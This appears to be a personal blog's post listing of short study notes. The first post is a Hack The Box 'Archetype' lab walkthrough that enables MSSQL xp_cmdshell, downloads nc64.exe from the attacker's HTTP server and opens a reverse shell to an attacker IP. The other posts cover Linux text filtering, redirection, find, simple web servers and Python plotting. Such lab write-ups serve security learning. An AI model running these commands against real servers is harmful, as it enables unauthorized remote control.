Skip to main content

Posts

impacket install (for htb archetype)

sudo apt install nmap nmap -sC -sV {TARGET_IP} sudo apt install smbclient smbclient -N -L \\\\{TARGET_IP}\\ -N : No password -L : This option allows you to look at what services are available on a server smbclient -N \\\\{TARGET_IP}\\backups apt search impacket   sudo apt install impacket-scripts python3-impacket impacket-mssqlclient.py ARCHETYPE/[email protected]{TARGET_IP} -windows-auth find ip addr of vpn using ip addr SQL> EXEC xp_cmdshell 'net user'; EXEC sp_configure 'show advanced options', 1;  RECONFIGURE;  sp_configure;   EXEC sp_configure 'xp_cmdshell', 1;  RECONFIGURE; SQL> xp_cmdshell "whoami"cd Downloads sudo python3 -m http.server 80 sudo nc -lvnp 443 SQL> xp_cmdshell "powershell -c pwd" SQL>  xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.9/nc64.exe -outfile nc64.exe SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.139 443" powersh
Recent posts

filter text

 less,more = page reader head = 1st 10 line read tail = last 10 line default sort :: cat /etc/passwd | sort grep  search for pattern cat /etc/passwd | grep "/bin/bash" exclude pattern with - cat /etc/passwd | grep -v "false\|nologin" cut cat /etc/passwd | grep -v "false\|nologin" | cut -d ":" -f1 -f specifies field -d delimiter (separator)   TR replace characters with others first option, we define which character we want to replace, and as a second option, we define the character we want to replace it with cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " column displays in column  form cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | column -t awk first ($1) and last ($NF) result of the lin cat /etc/passwd | grep -v "false\|nologin" | tr ":" " " | awk '{print $1 , $NF }' sed The "s&quo

file descriptors

Data Stream for Input STDIN – 0 Data Stream for Output STDOUT – 1 Data Stream for Output that relates to an error occurring. STDERR – 2 find /etc/ -name shadow 2 > /dev/null redirect errors to null Redirect STDOUT to a File find /etc/ -name shadow 2 > /dev/null > results.txt Redirect STDOUT and STDERR to Separate Files find /etc/ -name shadow 2 > stderr.txt 1 > stdout.txt Redirect STDIN cat < stdout.txt Redirect STDOUT and Append to a File find /etc/ -name passwd >> stdout.txt 2 > /dev/null Redirect STDIN Stream to a File cat << EOF > stream.txt  End-Of-File (EOF) function of a Linux system file, which defines the input's end.  Pipes to use the STDOUT from one program to be processed by another.  find /etc/ -name *.conf 2 > /dev/null | grep systemd find /etc/ -name *.conf 2 > /dev/null | grep systemd | wc -l

search linux

find   find / -type f -name *.conf -newermt 2020-03-03 -size +25k -size -28k -exec ls -al {} \; 2>/dev/null -type f Hereby, we define the type of the searched object. In this case, ' f ' stands for ' file '. -name *.conf With ' -name ', we indicate the name of the file we are looking for. The asterisk ( * ) stands for 'all' files with the ' .conf ' extension. -user root This option filters all files whose owner is the root user. -size +20k We can then filter all the located files and specify that we only want to see the files that are larger than 20 KiB. -newermt 2020-03-03 With this option, we set the date. Only files newer than the specified date will be presented. -exec ls -al {} \; This option executes the specified command, using the curly brackets as placeholders for each result. The backslash escapes the next character from being interpreted by the shell because otherwise, the semicolon would terminate the command and not reach the redi

simple webserver

npm install http-server http-server -p 8080 python  python3 -m http.server python - m http . server 8000 php php -S localhost:8000 php -S 127.0.0.1:8080 src:: https://www.npmjs.com/package/http-server https://docs.python.org/3/library/http.server.html https://www.php.net/manual/en/features.commandline.webserver.php

control system using anaconda

conda install numpy scipy matplotlib # if not yet installed conda install - c conda - forge control slycot ----------------------------------------------------- # secord.py - demonstrate some standard MATLAB commands # RMM, 25 May 09 import os import matplotlib.pyplot as plt # MATLAB plotting functions from control.matlab import * # MATLAB-like functions # Parameters defining the system m = 250.0 # system mass k = 40.0 # spring constant b = 60.0 # damping constant # System matrices A = [[ 0 , 1 .], [-k/m, -b/m]] B = [[ 0 ], [ 1 /m]] C = [[ 1 ., 0 ]] sys = ss(A, B, C, 0 ) # Step response for the system plt.figure( 1 ) yout, T = step(sys) plt.plot(T.T, yout.T) plt.show( block = False ) # Bode plot for the system plt.figure( 2 ) mag, phase, om = bode(sys, logspace(- 2 , 2 ), plot = True ) plt.show( block = False ) # Nyquist plot for the system plt.figure( 3 ) nyquist(sys) plt.show( block = False ) # Root lcous plot for the sys

polar plot anaconda

 conda install numpy matplotlib  apt install vscodium  ----------------------------- import numpy as np import matplotlib.pyplot as plt     # setting the axes proj as polar plt.axes(projection = 'polar' )     # setting the length # and number of petals a = 1 n = 6     # creating an array # containing the radian values rads = np.arange( 0 , 2 * np.pi, 0.001 )      # plotting the rose for rad in rads:      r = a * np.cos(n * rad)      plt.polar(rad, r, 'g.' )      # display the polar plot plt.show() --------------------------------- https://www.geeksforgeeks.org/plotting-polar-curves-in-python/ https://docs.conda.io/en/latest/miniconda.html